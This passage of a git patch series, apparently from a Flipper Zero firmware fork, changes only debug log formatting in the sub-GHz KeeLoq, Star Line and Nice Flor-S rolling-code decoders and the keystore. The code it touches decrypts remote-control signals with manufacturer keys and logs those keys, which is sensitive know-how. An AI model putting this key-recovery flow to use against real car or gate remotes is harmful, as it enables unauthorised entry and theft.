FURI_LOG_I(TAG, "encrypted_data = %011lX", (uint64_t)data); return data; } @@ -362,7 +362,7 @@ static uint64_t p[1] = k; } } - FURI_LOG_I(TAG, "decrypted_data = %011lX", data); + FURI_LOG_I(TAG, "decrypted_data = %011lX", (uint64_t)data); return data; } @@ -507,7 +507,7 @@ static void subghz_protocol_nice_flor_s_remote_controller( instance->btn = 0; } else { uint64_t decrypt = subghz_protocol_nice_flor_s_decrypt(instance, file_name); - FURI_LOG_I(TAG, "init_decrypted_data = %013lX", decrypt); + FURI_LOG_I(TAG, "init_decrypted_data = %013lX", (uint64_t)decrypt); instance->cnt = decrypt & 0xFFFF; instance->serial = (decrypt >> 16) & 0xFFFFFFF; instance->btn = (decrypt >> 48) & 0xF; diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index 98b64666d..f7f23f973 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -461,7 +461,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: //Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -472,7 +472,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -482,7 +482,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -504,7 +504,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index ac238099b..888ee1d30 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -139,7 +139,7 @@ static bool subghz_keystore_read_file(SubGhzKeystore* instance, Stream* stream, if(furi_hal_crypto_decrypt( (uint8_t*)encrypted_line, (uint8_t*)decrypted_line, len)) { subghz_keystore_process_line(instance, decrypted_line); - FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", (uint64_t)decrypted_line); } else { FURI_LOG_E(TAG, "Decryption failed"); result = false; @@ -579,9 +579,9 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* buffer[i / 2] = (hi_nibble << 4) | lo_nibble; } - FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", (uint64_t)decrypted_line); memset(decrypted_line, 0, SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE); - FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", (uint64_t)decrypted_line); if(!furi_hal_crypto_decrypt( (uint8_t*)buffer, (uint8_t*)decrypted_line, bufer_size / 2)) { @@ -590,7 +590,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* break; } memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len); - FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", (uint64_t)decrypted_line); } while(0); furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); From 19e810a49d7ede3d5f8aa763d348a5a2aab5b514 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 2 Apr 2022 00:19:47 +0300 Subject: [PATCH 047/461] Update subghz_keystore.c --- lib/subghz/subghz_keystore.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index 888ee1d30..ac238099b 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -139,7 +139,7 @@ static bool subghz_keystore_read_file(SubGhzKeystore* instance, Stream* stream, if(furi_hal_crypto_decrypt( (uint8_t*)encrypted_line, (uint8_t*)decrypted_line, len)) { subghz_keystore_process_line(instance, decrypted_line); - FURI_LOG_I(TAG, "decrypted line: %016lX", (uint64_t)decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); } else { FURI_LOG_E(TAG, "Decryption failed"); result = false; @@ -579,9 +579,9 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* buffer[i / 2] = (hi_nibble << 4) | lo_nibble; } - FURI_LOG_I(TAG, "decrypted line: %016lX", (uint64_t)decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); memset(decrypted_line, 0, SUBGHZ_KEYSTORE_FILE_DECRYPTED_LINE_SIZE); - FURI_LOG_I(TAG, "decrypted line: %016lX", (uint64_t)decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); if(!furi_hal_crypto_decrypt( (uint8_t*)buffer, (uint8_t*)decrypted_line, bufer_size / 2)) { @@ -590,7 +590,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* break; } memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len); - FURI_LOG_I(TAG, "decrypted line: %016lX", (uint64_t)decrypted_line); + FURI_LOG_I(TAG, "decrypted line: %016lX", decrypted_line); } while(0); furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); From ca920ba917a872b4637b678dd0a8d61311ef3d97 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 2 Apr 2022 01:52:14 +0300 Subject: [PATCH 048/461] --- --- lib/subghz/protocols/keeloq.c | 18 +++++++++--------- lib/subghz/protocols/star_line.c | 10 +++++----- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 27a360e00..ab24a8e7f 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -154,7 +154,7 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; - FURI_LOG_I(TAG, "hop = %X", hop); + FURI_LOG_I(TAG, "hop = %08lX", hop); break; } break; @@ -483,7 +483,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -493,7 +493,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -503,7 +503,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SECURE: man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -513,7 +513,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -523,7 +523,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -544,7 +544,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -562,7 +562,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Secure Learning man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -580,7 +580,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Magic xor type1 learning man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index f7f23f973..e3acb120a 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -153,7 +153,7 @@ static bool subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* in code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; - FURI_LOG_I(TAG, "hop = %X", hop); + FURI_LOG_I(TAG, "hop = %08lX", hop); break; } break; @@ -461,7 +461,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_SIMPLE: //Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -472,7 +472,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -482,7 +482,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -504,7 +504,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %016lX", (uint64_t)manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); From 02d44c32e2f098bf7e6c497a643549f0e3b72d2a Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 2 Apr 2022 16:40:04 +0300 Subject: [PATCH 049/461] fix debug output --- lib/subghz/protocols/keeloq.c | 17 +++++++++-------- lib/subghz/protocols/star_line.c | 9 +++++---- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index ab24a8e7f..f484ebabd 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -479,11 +479,12 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { + uint32_t hi = manufacture_code->key >> 32; switch(manufacture_code->type) { case KEELOQ_LEARNING_SIMPLE: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -493,7 +494,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -503,7 +504,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SECURE: man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -513,7 +514,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -523,7 +524,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -544,7 +545,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -562,7 +563,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Secure Learning man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -580,7 +581,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Magic xor type1 learning man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index e3acb120a..51d82ae0f 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -457,11 +457,12 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { + uint32_t hi = manufacture_code->key >> 32; switch(manufacture_code->type) { case KEELOQ_LEARNING_SIMPLE: //Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -472,7 +473,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -482,7 +483,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -504,7 +505,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", manufacture_code->key >> 32, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); From 3c8993420de9213e7ad9e8e5de7a60b5bc12ddf7 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 2 Apr 2022 18:21:35 +0300 Subject: [PATCH 050/461] final fix for kl and sl debug --- lib/subghz/protocols/keeloq.c | 17 +++++++++-------- lib/subghz/protocols/star_line.c | 9 +++++---- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index f484ebabd..b2ee61c19 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -480,11 +480,12 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { uint32_t hi = manufacture_code->key >> 32; + uint32_t lo = manufacture_code->key & 0xFFFFFFFF; switch(manufacture_code->type) { case KEELOQ_LEARNING_SIMPLE: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -494,7 +495,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -504,7 +505,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_SECURE: man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -514,7 +515,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -524,7 +525,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( case KEELOQ_LEARNING_UNKNOWN: // Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -545,7 +546,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -563,7 +564,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Secure Learning man = subghz_protocol_keeloq_common_secure_learning( fix, seed, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -581,7 +582,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Magic xor type1 learning man = subghz_protocol_keeloq_common_magic_xor_type1_learning( fix, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); diff --git a/lib/subghz/protocols/star_line.c b/lib/subghz/protocols/star_line.c index 51d82ae0f..5c70ad66d 100644 --- a/lib/subghz/protocols/star_line.c +++ b/lib/subghz/protocols/star_line.c @@ -458,11 +458,12 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { uint32_t hi = manufacture_code->key >> 32; + uint32_t lo = manufacture_code->key & 0xFFFFFFFF; switch(manufacture_code->type) { case KEELOQ_LEARNING_SIMPLE: //Simple Learning decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, manufacture_code->key); + FURI_LOG_I(TAG, "mfkey: %08lX%08lX", hi, lo); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); return 1; @@ -473,7 +474,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 man_normal_learning = 